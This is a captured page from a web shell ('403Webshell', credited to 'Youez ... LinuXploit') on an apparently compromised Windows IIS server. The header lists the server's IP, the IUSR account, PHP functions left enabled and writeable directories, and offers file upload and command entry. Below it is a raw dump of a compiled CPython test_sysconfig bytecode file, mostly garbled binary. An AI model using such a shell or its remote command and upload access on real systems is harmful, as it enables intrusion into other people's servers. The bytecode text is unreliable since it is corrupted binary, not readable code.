403Webshell
Server IP : 121.121.20.254  /  Your IP : 216.73.217.51
Web Server : Microsoft-IIS/10.0
System : Windows NT WEB-SERVER 10.0 build 20348 (Windows Server 2022) AMD64
User : IUSR ( 0)
PHP Version : 8.3.28
Disable Function : NONE
MySQL : ON  |  cURL : ON  |  WGET : OFF  |  Perl : OFF  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  C:/Python313/Lib/test/__pycache__/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : C:/Python313/Lib/test/__pycache__/test_sysconfig.cpython-313.opt-1.pyc
�

��iz����SSKrSSKrSSKrSSKrSSKrSSKrSSKrSSKrSSKrSSK	J	r	 SSK
JrJrJ
r
JrJr SSKJr SSKJrJrJrJr SSKJr SSKrSSKJrJrJrJrJrJrJ r J!r!J"r"J#r#J$r$ SSK%J&r&J'r' SSK(r(SSK)r)SSK*r*\RVr,"S	S
\RZ5r."SS\RZ5r/"S
S\RZ5r0\1S:Xa\Rd"5 gg)�N)�copy)�captured_stdout�is_apple_mobile�is_wasi�
PythonSymlink�requires_subprocess)�
import_module)�TESTFN�unlink�skip_unless_symlink�
change_cwd)�VirtualEnvironment)�	get_paths�get_platform�get_config_vars�get_path�get_path_names�_INSTALL_SCHEMES�get_default_scheme�get_scheme_names�get_config_var�_expand_vars�_get_preferred_schemes)�_main�_parse_makefilec�^�\rSrSrU4SjrU4SjrSrSrSrSr	Sr
S	rS
rSr
SrS
rSrSrSrSr\R*"\S5\R*"\\R2S35S55rSr\\"5S55rSrSr \R*"\R2S:HS5S5r!\R*"\"RF"5(+S5S5r$Sr%\RL"\R2S:HS 5\"5S!55r'\R*"\S5\R*"\\R2S"35S#55r(S$r)\R*"\*RV"S%5S&LS'5\R*"\"RF"5(+S5S(55r,\RL"\R2S):HS*5S+5r-\RL"\R2S,:HS-5S.5r.\RL"\R2S:HS/5S05r/\"5S15r0\"5S25r1\"5S35r2S4r3U=r4$)5�
TestSysConfig�&c�>�[[U]5 [RSSUl[
[S5(a0[RUl[R"5Ul	OSUlURS5 UR[l[RUl[RUl
[RUl[RUl[R Ul[RR"Ul[RR$Ul[RR&Ul[(R*[-[(R*54Ul/Ul/UlSHbnU[R4;a0UR2R7U[R4U45 MGUR0R7U5 Md g)N�uname)�r!r!r!r!)�MACOSX_DEPLOYMENT_TARGET�PATH)�superr�setUp�sys�path�sys_path�hasattr�osr �_uname�
_set_uname�
_get_uname�name�platform�version�
_framework�sep�join�isabs�
splitdrive�	sysconfig�_CONFIG_VARSr�_config_vars�_added_envvars�_changed_envvars�environ�append)�self�var�	__class__s  ��(C:\Python313\\Lib\test\test_sysconfig.pyr%�TestSysConfig.setUp(sA���
�m�T�(�*�������
��2�w������D�J��(�(�*�D�K��D�J��O�O�G�$��?�?����G�G��	�����
��{�{����.�.����6�6����G�G�L�L��	��W�W�]�]��
��'�'�,�,���%�2�2�D��9O�9O�4P�P��� ��� "���7�C��b�j�j� ��%�%�,�,�c�2�:�:�c�?�-C�D��#�#�*�*�3�/�	8�c��>�UR[RSS&UR5 URbUR[
lO[
?UR[
lUR[lUR[lUR[l	UR[
l
UR[
RlUR[
RlUR[
Rl
URS[l[R R#5 [R R%URS5 UR&HupU[
R(U'M UR*H#n[
R(R-US5 M% [.[0U]g5 g)Nr�)r(r&r'�_cleanup_testfnr r*r.r/r0r1r2r3r4r5r8r6r7�clear�updater:r;r9�popr$r�tearDown)r=r>�valuer?s   �r@rI�TestSysConfig.tearDownEs3����m�m�����������:�:�!��z�z�B�H����)�)����}�}����l�l��������������y�y������
�
����
�!�_�_�����!%�!2�!2�1�!5�	�����$�$�&����%�%�d�&7�&7��&:�;��/�/�J�C�#�B�J�J�s�O�0��&�&�C��J�J�N�N�3��%�'�	�m�T�+�-rBc�:�[R"U5Ulg�N)r*�uname_resultr+)r=r s  r@r,�TestSysConfig._set_uname^s���o�o�e�,��rBc��UR$rM)r+�r=s r@r-�TestSysConfig._get_unameas���{�{�rBc��[n[RRU5(a[R"U5 g[RRU5(a[R"U5 ggrM)r
r*r'�isfile�remove�isdir�shutil�rmtree)r=r's  r@rE�TestSysConfig._cleanup_testfndsI����
�7�7�>�>�$����I�I�d�O�
�W�W�]�]�4�
 �
 ��M�M�$��!rBc�T�[R"SSUR5S30UD6$)N�prefixz-venv-�)r�from_tmpdir�id)r=�venv_create_argss  r@�venv�TestSysConfig.venvks2��!�-�-�
��g�g�i�[��'�
��
�	
rBc�T�UR[5[R5 grM)�assertEqualrr6�_SCHEME_KEYSrQs r@�test_get_path_names�!TestSysConfig.test_get_path_namesqs������)�9�+A�+A�BrBc���[5n[5n[US5n[UR	55n[UR	55nURX5 grM)rrr�sorted�itemsrc)r=�scheme�default_scheme�wanteds    r@�test_get_paths�TestSysConfig.test_get_pathstsK�����+�-���n�d�3�������'�������'������(rBc
�j�[5n[RS:XaUSS0-n[H�n[UHtn[UUR"S0UD6nUR[RR[X255[RRU55 Mv M� g)N�nt�
platlibdir�libr\)	rr*r.r�formatrcr'�normpathr)r=�config_varsrjr.�expecteds     r@�
test_get_path�TestSysConfig.test_get_path|s���%�'��
�7�7�d�?�&��u�(=�=�K�&�F�(��0��+�F�3�D�9�@�@�O�;�O��� � ��G�G�$�$�X�d�%;�<��G�G�$�$�X�.��1�'rBc�@�UR[5[5 grM)�assertInrrrQs r@�test_get_default_scheme�%TestSysConfig.test_get_default_scheme�s���
�
�(�*�,<�=rBc���1SknS[l[5nURU[5 UR[
U5U5 S[l[5nURU[5 UR[
U5U5 S[lS[lS[l	URU[5 UR[
U5U5 g)N>�home�userr[rp�posix�darwin�MyPython)
r*r.r�assertIsInstance�dictrc�setr&r/r1)r=�expected_schemes�schemess   r@�test_get_preferred_schemes�(TestSysConfig.test_get_preferred_schemes�s���5�����(�*�����g�t�,�����W��'7�8����(�*�����g�t�,�����W��'7�8�������#������g�t�,�����W��'7�8rBc	��SnSn[RRSS[R"53S5n[RRSU5n[RRSU5n[RRSU5nSnUVs0sHoUS_M nnURU[R"SS	US
95 URU[R"SS	US
95 [R"SS	US
9nURURU[R-55 gs snf)N�bin�includerr�python�
site-packagesr`��base�platbase�installed_base�installed_platbase�scripts�
posix_venv�rj�vars�purelib)
r*r'r3r6�_get_python_version_abircr�
assertTrue�
startswithr2)r=�binpath�incpath�libpath�basesr�r��sysconfig_includedirs        r@�test_posix_venv_scheme�$TestSysConfig.test_posix_venv_scheme�s�������'�'�,�,�u�!'�	�(I�(I�(K�'L�M�.�0��
�'�'�,�,�v�w�/���'�'�,�,�v�w�/���'�'�,�,�v�w�/��M��).�/���f����/�����)�"4�"4�Y�|�Z^�"_�`�����)�"4�"4�Y�|�Z^�"_�`� )�1�1�)�L�W[�\�����,�7�7��"�&�&�8H�I�J��0s�"Ec	� �SnSn[RRSS5nSn[RRXA5n[RRXB5n[RRXC5nSnUVs0sHofS_M nnURU[R
"SSUS	95 URU[R
"S
SUS	95 URU[R
"SSUS	95 gs snf)N�Scripts�Include�Libr�r`r�r��nt_venvr�r�r�)r*r'r3rcr6r)r=r�r�r�r`r�r�r�s        r@�test_nt_venv_scheme�!TestSysConfig.test_nt_venv_scheme�s��������'�'�,�,�u�o�6�����'�'�,�,�t�-���'�'�,�,�t�-���'�'�,�,�t�-��M��).�/���f����/�����)�"4�"4�Y�y�W[�"\�]�����)�"4�"4�Y�y�W[�"\�]�����)�"4�"4�Y�y�W[�"\�]��	0s�
Dc���[RS:Xa�UR[R"SSS9[R"SSS95 UR[R"SSS9[R"SSS95 UR[R"SSS9[R"SSS95 gUR[R"SSS9[R"SSS95 UR[R"SSS9[R"SSS95 UR[R"SSS9[R"SSS95 g)	N�win32r�r`)rjr�r�r�r�)r&r/rcr6rrQs r@�test_venv_scheme�TestSysConfig.test_venv_scheme�s,���<�<�7�"�����"�"�9�V�<��"�"�9�Y�?�
�
����"�"�9�V�<��"�"�9�Y�?�
�
����"�"�9�V�<��"�"�9�Y�?�
�

����"�"�9�V�<��"�"�9�\�B�
�
����"�"�9�V�<��"�"�9�\�B�
�
����"�"�9�V�<��"�"�9�\�B�
rBc�f�[5nURU[5 URU5 grM)rr�r�r�)r=�cvarss  r@�test_get_config_vars�"TestSysConfig.test_get_config_vars�s&���!�����e�T�*�����rBc	�
�[5nURU[5 URU5 S[lS[lS[lUR[5S5 S[lS[lS[lUR[5S5 S[lS[lS[lURS	5 [R"[55 S
[5S'S[5S
'[RnS[lUR[5S5 S[lUR[5S5 U[lURS5 [R"[55 S
[5S'S[5S
'[RnS[lUR[5S5 S[lUR[5S5 U[l[R"[55 S[5S'S[5S
'UR[5S5 [R"[55 S[5S
'UR[5S5 [R"[55 S[5S
'UR[5S5 [R"[55 S[5S
'UR[5S5 [R"[55 S[5S
'UR[5S5 S HNn[R"[55 S!U-[5S
'UR[5S"U-5 MP [S#S$5H[n[R"[55 S%[5S
'US&3[5S'UR[5S'U-5 M] S[lS([lS)[lURS*5 UR[5S+5 S[lS,[lS-[5S.'S/S0S0S0S1S2S3.R!5HRupVUR#U5 URS4S5S6S7U45 UR[5S8U35 SSS5 MT g!U[lf=f!U[lf=f!,(df   M�=f)9Nrpz>2.4.4 (#71, Oct 18 2006, 08:34:43) [MSC v.1310 32 bit (Intel)]r�z>2.4.4 (#71, Oct 18 2006, 08:34:43) [MSC v.1310 32 bit (Amd64)]z	win-amd64r�zU2.5 (r25:51918, Sep 19 2006, 08:49:13) 
[GCC 4.0.1 (Apple Computer, Inc. build 5341)]r�)�Darwin�macziade�8.11.1�]Darwin Kernel Version 8.11.1: Wed Oct 10 18:23:28 PDT 2007; root:xnu-792.25.20~1/RELEASE_I386�PowerPCz10.3r"zF-fno-strict-aliasing -DNDEBUG -g -fwrapv -O3 -Wall -Wstrict-prototypes�CFLAGSi���zmacosx-10.3-ppcl����zmacosx-10.3-ppc64)r�r�r�r��i386zmacosx-10.3-i386zmacosx-10.3-x86_64z10.4zy-arch ppc -arch i386 -isysroot /Developer/SDKs/MacOSX10.4u.sdk  -fno-strict-aliasing -fno-common -dynamic -DNDEBUG -g -O3zmacosx-10.4-fatz|-arch x86_64 -arch i386 -isysroot /Developer/SDKs/MacOSX10.4u.sdk  -fno-strict-aliasing -fno-common -dynamic -DNDEBUG -g -O3zmacosx-10.4-intelz�-arch x86_64 -arch ppc -arch i386 -isysroot /Developer/SDKs/MacOSX10.4u.sdk  -fno-strict-aliasing -fno-common -dynamic -DNDEBUG -g -O3zmacosx-10.4-fat3z�-arch ppc64 -arch x86_64 -arch ppc -arch i386 -isysroot /Developer/SDKs/MacOSX10.4u.sdk  -fno-strict-aliasing -fno-common -dynamic -DNDEBUG -g -O3zmacosx-10.4-universalz}-arch x86_64 -arch ppc64 -isysroot /Developer/SDKs/MacOSX10.4u.sdk  -fno-strict-aliasing -fno-common -dynamic -DNDEBUG -g -O3zmacosx-10.4-fat64)�ppcr��x86_64�ppc64zm-arch %s -isysroot /Developer/SDKs/MacOSX10.4u.sdk  -fno-strict-aliasing -fno-common -dynamic -DNDEBUG -g -O3zmacosx-10.4-%s��zl-fno-strict-overflow -Wsign-compare -Wunreachable-code-arch arm64 -fno-common -dynamic -DNDEBUG -g -O3 -Wallz.0zmacosx-%d.0-arm64zV2.3.5 (#1, Jul  4 2007, 17:28:59) 
[GCC 4.1.2 20061115 (prerelease) (Debian 4.1.1-21)]�linux2)�Linux�aglaez2.6.21.1dedibox-r7z #1 Mon Apr 30 17:25:38 CEST 2007�i686z
linux-i686�android�	�ANDROID_API_LEVEL�	arm64_v8a�armeabi_v7a�x86r���aarch64�arm�armv7l�armv8lr�r�r��	localhostz3.18.91+z#1 Tue Jan 9 20:35:43 UTC 2018z
android-9-)rr��strr�r*r.r&r0r/rcr,�_osx_support�_remove_original_valuesr�maxsize�rangeri�subTest)r=�actual_platform�maxint�arch�macver�machine�abis       r@�test_get_platform�TestSysConfig.test_get_platform�sz��&�.�����o�s�3�����(����5������������1����5������������5����I���������E�	F�	�,�,�_�->�?�8>���4�5�(O���(�#�����	!�$�C�K����\�^�->�?�-�C�K����\�^�-@�A� �C�K����B�	C�	�,�,�_�->�?�8>���4�5�(O���(�#�����	!�$�C�K����\�^�-?�@�-�C�K����\�^�-A�B� �C�K�	�,�,�_�->�?�8>���4�5�(B���(�#�
	
�����):�;��,�,�_�->�?�(B���(�#�
	
�����)<�=��,�,�_�->�?�(B���(�#�	
�����);�<��,�,�_�->�?�(B���(�#�	
�����)@�A��,�,�_�->�?�(B���(�#�
	
�����)<�=�6�D��0�0��1B�C�,F�IM�,M�O��h�'�

���\�^�-=��-D�E�7��B��m�F��0�0��1B�C�,a�O��h�'�?E�h�b�M�O��8�9����\�^�-@�6�-I�J�$����O���������@�	A�	
������6���� ���12���-�.�"� �#�#���

��%�'��L�G����g�&�����+�z� @�'�!K�L�� � ���:�c�U�1C�D�'�&���u!�C�K��$!�C�K��`'�&�s&�#A
T)�A
T9�(4U	�)
T6�9
U�	
U	�,Incompatible with WASI mapdir and OOT buildsz; doesn't distribute header files in the runtime environmentc��[R"5nUR[RRU5U5 grM)r6�get_config_h_filenamer�r*r'rT)r=�config_hs  r@�test_get_config_h_filename�(TestSysConfig.test_get_config_h_filename�s-���2�2�4����������x�0�(�;rBc��/SQn[(aUR/SQ5 UR[5[	[U555 g)N)rp�
posix_home�posix_prefixr�r�r`)�nt_user�osx_framework_user�
posix_user)�
HAS_USER_BASE�extendrcr�tuplerh)r=rls  r@�test_get_scheme_names�#TestSysConfig.test_get_scheme_names�s6��V���=��M�M�I�J����)�+�U�6�&�>�-B�CrBc��[5nSnURUR"U6UR"U65 SSS5 g!,(df   g=f)N)�-c�1import sysconfig; print(sysconfig.get_platform()))rrc�	call_real�	call_link)r=�py�cmds   r@�test_symlink�TestSysConfig.test_symlink�s<���_��K�C����R�\�\�3�/����s�1C�D��_�_�s�/A�
Ac���[S5n[(a[S5n[R[R:gnSGH�n[US5nU(a]UR
[R[R5nUR
[R[R5nO~[R[R:wa\UR
[R[R5nUR
[R[R5n[(dM�[US5n[RRUR
UWS55nUS:XaD[R"5nSUS	3n	UR
S
[RS
U	3SU	35nURXg5 GM� g)Nr��userbase)�stdlib�
platstdlibr��platlibr�r�rDr�r�z/site-packages�/z/lib/)rr�r&�base_prefix�base_exec_prefixr�replace�exec_prefixr[r*r'rtr6r�rqrc)
r=r�r�adaptr.�global_path�	user_pathrv�py_version_abi�suffixs
          r@�test_user_similar�TestSysConfig.test_user_similar�s]���f�%���=�!�*�-�D����3�#7�#7�7��B�D�"�4��8�K��)�1�1�#�/�/�3�?�?�S���|�|�C�O�O�S�_�_�E�����C�J�J�.�*�1�1�#�/�/�3�:�:�N���|�|�C�O�O�S�Z�Z�@���}�$�T�<�8�	��7�7�+�+�K�,?�,?��d�A�,N�O���9�$�&/�%F�%F�%H�N�%�n�%5�^�D�F�'�/�/�!�C�N�N�3C�1�V�H�0M�27��x�0@� B�H�� � ��5�-CrBc���[5n[5 SSS5 UR[WR	5RS55S:�5 g!,(df   NI=f)N�
r)rrr��len�getvalue�split)r=�outputs  r@�	test_main�TestSysConfig.test_main�sE��
�
�&��G������F�O�O�-�3�3�D�9�:�Q�>�?��
�s�A�
A'r�zDoes not apply to Windowsc�~�[R"S5n[R"S5nURX5 g)N�LDFLAGS�LDSHARED)r6rrz)r=�ldflags�ldshareds   r@�test_ldshared_value�!TestSysConfig.test_ldshared_value�s.���*�*�9�5���+�+�J�7���
�
�g�(rBzstub loader has no suffixesc��[R"S5nURU[R"5S5 g)N�SOABIr)r6rrz�_imp�extension_suffixes)r=�soabis  r@�
test_soabi�TestSysConfig.test_soabi�s.���(�(��1���
�
�e�T�4�4�6�q�9�:rBc��[R"S5n[R"S5n[RSSup4[RS:XaWURUR
SUU355 URURS55 URX5 g[(a-[R"S5nURX%SU35 gURUR
S	US
U355 URURS55 [RS:Xa'[R(aURS
5 gURUR
S	US
U355 g)N�LIBRARY�	LDLIBRARY�r�r�z.dll�PYTHONFRAMEWORKz.framework/�	libpython�.z.ar�z2gh-110824: skip LDLIBRARY test for framework build)r6rr&�version_infor/r�r��endswithrcrr1�skipTest)r=�library�	ldlibrary�major�minor�	frameworks      r@�test_library�TestSysConfig.test_library�s6���*�*�9�5���,�,�[�9�	��'�'���+����<�<�7�"��O�O�G�.�.���w�u�g�/F�G�H��O�O�G�,�,�V�4�5����W�0�
�_�!�0�0�1B�C�I����Y�+�[���(L�M��O�O�G�.�.��5�'��5�'�/J�K�L��O�O�G�,�,�T�2�3��|�|�x�'�C�N�N��
�
�R�S����	� 4� 4�y���q���5P� Q�RrBr�ztest only relevant on MacOSXc�f�[R"5n[RR	5nSU;aUS	[
R"[RSS/[
R[
RUS9nUR5SR5nURS5nUR5nURUS5 URX5 [RR	5nSUS'[
R"[RSS/[
R[
RUS9nUR5SR5nURS5nUR5nURUS5 URX5 g)Nr"r�r�)�stdout�stderr�envrzutf-8z10.1)r6rr*r;r�
subprocess�Popenr&�
executable�PIPE�DEVNULL�communicate�strip�decode�waitrc)r=�my_platformr2�p�
test_platform�statuss      r@�test_platform_in_subprocess�)TestSysConfig.test_platform_in_subprocess�sf�� �,�,�.���j�j�o�o���%��,��.�/��������C���?�?��%�%��

���
�
���*�0�0�2�
�%�,�,�W�5�
�����������#�����4��j�j�o�o���*0��&�'��������C���?�?��%�%��

���
�
���*�0�0�2�
�%�,�,�W�5�
�����������#�����4rB�) doesn't include config folder at runtimec���[R"S5nUR[RRU5U5 UR[RR
U5U5 [R(Gac[RRUSS5nUR[RRU5U5 [RRUSS5nUR[RRU5U5 [RRUS5nUR[RRU5U5 [RS:Xa_[RR[RSS5nUR[RRU5U5 gg[RS	:Xac[RR"55n[RRU5nUR!XQ5 gg)
N�srcdirr�zPython.h�PCz
pyconfig.h.inrpz..z
pyconfig.hr�)r6rr�r*r'r4rV�
_PYTHON_BUILDr3�existsr.r&r5�dirname�get_makefile_filename�realpathrc)r=rD�Python_h�
pyconfig_h�
pyconfig_h_in�makefile_dirs      r@�test_srcdir�TestSysConfig.test_srcdir
s~��
�)�)�(�3��������
�
�f�-�v�6�������
�
�f�-�v�6��"�"�"��w�w�|�|�F�I�z�B�H��O�O�B�G�G�N�N�8�4�h�?������f�d�O�D�J��O�O�B�G�G�N�N�:�6�
�C��G�G�L�L���A�M��O�O�B�G�G�N�N�=�9�=�I��w�w�$���W�W�\�\�#�.�.�$��M�
���������z� :�J�G���W�W��
��7�7�?�?�9�+J�+J�+L�M�L��7�7�+�+�L�9�L����\�2�	 rBc���[R"S5n[[R5 [R"S5nSSS5 URUW5 g!,(df   N!=f)NrD)r6rr
r*�pardirrc)r=rD�srcdir2s   r@�test_srcdir_independent_of_cwd�,TestSysConfig.test_srcdir_independent_of_cwd+sN���)�)�(�3��
��	�	�
"��.�.�x�8�G�#������)�#�
"�s�A"�"
A0�
EXT_SUFFIXNz!EXT_SUFFIX required for this testc��[R"5nURUS[R"5S5 g)NrVr)r6rrcrr)r=r�s  r@�test_EXT_SUFFIX_in_vars�%TestSysConfig.test_EXT_SUFFIX_in_vars3s5���(�(�*������l�+�T�-D�-D�-F�q�-I�JrB�linuxzLinux-specific testc��[S5n[R"5n[R"S5n[
R"SU5(aURSU;U5 [
R"SU5(aNURUR55S:XaSnOSnURURU5S	U<35 gg)
N�ctypesrVz)(aarch64|arm|mips|ppc|powerpc|s390|sparc)rZz(i[3-6]86|x86_64)$�)zi386-linux-gnu.sozx86_64-linux-gnux32.sozi386-linux-musl.so)zx86_64-linux-gnu.sozx86_64-linux-musl.sozunexpected suffix )r	r/r�r6r�re�matchr��sizeof�c_char_pr&)r=r\r�r�expected_suffixess     r@�test_linux_ext_suffix�#TestSysConfig.test_linux_ext_suffix:s����x�(���"�"�$���)�)�,�7��
�8�8�?��I�I��O�O�G�v�-�v�6�
�8�8�(�'�2�2��}�}�V�_�_�.�/�1�4�$g�!�$Q�!��O�O�F�O�O�,=�>�0��
�;�
=�3rBr�zAndroid-specific testc���[R"5n[R"S5nSSSSSSS.UnUR	URSUS35S	U<S
U<35 g)NrVzaarch64-linux-androidzarm-linux-androideabizi686-linux-androidzx86_64-linux-androidr��-z.sozmachine=z	, suffix=)r/r�r6rr�r&)r=r�r�expected_triplets    r@�test_android_ext_suffix�%TestSysConfig.test_android_ext_suffixIsx���"�"�$���)�)�,�7��.�*�-�-�(�,�

����	
������!�,<�+=�S�(A�B�#�7�*�J�v�i�0�	2rBzOS X-specific testc�r�[R"S5nURURS5U5 g)NrVz
-darwin.so)r6rr�r&)r=rs  r@�test_osx_ext_suffix�!TestSysConfig.test_osx_ext_suffixXs)���)�)�,�7���������5�v�>rBc�F�[R"S5nUR5n[R"URSU5R5n[R"URSSU5R5nSSS5 URWW5 URUSWR5 URUSUR5 URUSUS5 URUSUS5 g!,(df   N�=f)Nz�
            import sysconfig

            config_vars = sysconfig.get_config_vars()

            import json
            print(json.dumps(config_vars, indent=2))
        r��-Sr�r�r�r��
�textwrap�dedentr`�json�loads�runr0�assertNotEqualrcr[)r=�scriptr`�site_config_vars�no_site_config_varss     r@�.test_config_vars_depend_on_site_initialization�<TestSysConfig.test_config_vars_depend_on_site_initialization]s������"�
���Y�Y�[�D�#�z�z�$�(�(�4��*@�*G�*G�H��"&�*�*�T�X�X�d�D�&�-I�-P�-P�"Q���	
���,�.A�B����)�&�1�4�;�;�?����)�*�5�t�{�{�C�	
���,�V�4�6F�GW�6X�Y����,�Z�8�:J�K_�:`�a��[�s�A"D�
D c�Z�[R"S5nUR5n[R"URSSU5R5nSSS5 URWSUS5 URUSSWR5 g!,(df   NI=f)Na
            import sysconfig

            before = sysconfig.get_config_vars()

            import site
            site.main()

            after = sysconfig.get_config_vars()

            import json
            print(json.dumps({'before': before, 'after': after}, indent=2))
        rnr��before�afterr�ro)r=rvr`rus    r@�8test_config_vars_recalculation_after_site_initialization�FTestSysConfig.test_config_vars_recalculation_after_site_initializationus������"�
���Y�Y�[�D��*�*�T�X�X�d�D�&�%A�%H�%H�I�K��	
���K��1�;�w�3G�H�����W�-�f�5�t�{�{�C�	�[�s�2B�
B*c�j�[R"S5nUR5n[R"URSU5R5n[R"URSSU5R5nSSS5 URWW5 g!,(df   N!=f)Nz�
            import sysconfig

            paths = sysconfig.get_paths()

            import json
            print(json.dumps(paths, indent=2))
        r�rn)rprqr`rrrsrtr0ru)r=rvr`�
site_paths�
no_site_pathss     r@�(test_paths_depend_on_site_initialization�6TestSysConfig.test_paths_depend_on_site_initialization�s������"�
���Y�Y�[�D����D�H�H�T�6�$:�$A�$A�B�J� �J�J�t�x�x��d�F�'C�'J�'J�K�M��	
���J�
�6�	�[�s�A"B$�$
B2)r9r:r8r1r+r4r3r.r/r2r5r(r r0)5�__name__�
__module__�__qualname__�__firstlineno__r%rIr,r-rEr`rermrwr{r�r�r�r�r�r��unittest�skipIfrrr&r/r�r�rrr�rrrrrrr-�
skipUnlessr@rOrTr6rrXrcrhrkryr~r��__static_attributes__�
__classcell__)r?s@r@rr&s����0�:.�2-�� �
�C�)��>�9�,K�4^�*�8�
OE�f�_�_�W�L�M�
�_�_�_����~�%`�a�c�<�c�N�<�D����E���E�
 6�D@��_�_�S�\�\�W�,�.I�J�)�K�)��_�_��0�0�2�2�4Q�R�;�S�;�S�&�������1�3Q�R���(5��S�(5�T�_�_�W�L�M�
�_�_�_����~�%N�O�Q�3�Q�N�3�6*��_�_�Y�-�-�l�;�t�C�8�:�
�_�_��0�0�2�2�4Q�R�K�S�:�K��������0�2G�H�=�I�=��������2�4K�L�2�M�2��������1�3G�H�?�I�?���b��b�.��D��D�.��7��7rBrc���\rSrSr\R
"\RRS5S5\R
"\	S5\R
"\
\RS35S555rSrSr
g	)
�
MakefileTestsi��winzTest is not Windows compatibler�rBc��[R"5nUR[RRU5U5 grM)r6rIr�r*r'rT)r=�makefiles  r@�test_get_makefile_filename�(MakefileTests.test_get_makefile_filename�s-���2�2�4����������x�0�(�;rBc
�T�UR[[5 [[S5n[	SUS9 [	SUS9 [	SUS9 [	SUS9 [	SUS9 [	SUS9 SSS5 [[5nUR
US	S
SSS
SS.5 g!,(df   N7=f)N�wz
var1=a$(VAR2))�filez
VAR2=b$(var3)zvar3=42zvar4=$/invalidzvar5=dollar$$5zAvar6=${var3}/lib/python3.5/config-$(VAR2)$(var5)-x86_64-linux-gnu�ab42�b42�*z	$/invalidzdollar$5z442/lib/python3.5/config-b42dollar$5-x86_64-linux-gnu)�var1�VAR2�var3�var4�var5�var6)�
addCleanuprr
�open�printrrc)r=r�r�s   r@�test_parse_makefile�!MakefileTests.test_parse_makefile�s��������'�
�&�#�
�(��/��1��/��1��)�(�+��"��2��"��2��&�,4�
6�
��v�&�����������J�
 
�	��
�s�=B�
B'r\N)r�r�r�r�r�r�r&r/r�rrr�r�r�r\rBr@r�r��so��
�_�_�S�\�\�,�,�U�3�5�7�
�_�_�W�L�M�
�_�_�_����~�%N�O�Q�<�Q�N�7�
<�rBr�c�*�\rSrSrS\S4SjrSrSrg)�DeprecationTestsi�Nc�p�[RU:�aURX4S9$UR[US9$)N)�msg)r&r%�assertRaises�assertWarns�DeprecationWarning)r=�removal_version�deprecation_msg�error�	error_msgs     r@�
deprecated�DeprecationTests.deprecated�s;������.��$�$�U�$�:�:��#�#�$6�O�#�L�LrBc��URSS[SS9 [R"S5 SSS5 g!,(df   g=f)N)��zThe check_home argument of sysconfig.is_python_build is deprecated and its value is ignored. It will be removed in Python 3.15.z?is_python_build() takes 0 positional arguments but 1 were given)r�r�r�r��foo)r��	TypeErrorr6�is_python_buildrQs r@�test_is_python_build_check_home�0DeprecationTests.test_is_python_build_check_home�sC��
�_�_�#�5��W��	
�
�%�%�e�,�	
�	
�	
�s	�7�
Ar\)r�r�r�r��	Exceptionr�r�r�r\rBr@r�r��s��:>�i�[_�M�-rBr��__main__)3r/r^r�r&r*r3rWrrrpr�test.supportrrrrr�test.support.import_helperr	�test.support.os_helperr
rrr
�test.support.venvrr6rrrrrrrrrrr�sysconfig.__main__rrrr��
_sysconfig�_HAS_USER_BASEr��TestCaserr�r�r��mainr\rBr@�<module>r�s����	��
�	��
������5�0�0�0��=�=�=�=�6�����(�(�
�v	7�H�%�%�v	7�r�H�%�%��@-�x�(�(�-�*�z���M�M�O�rB

Youez - 2016 - github.com/yon3zu
LinuXploit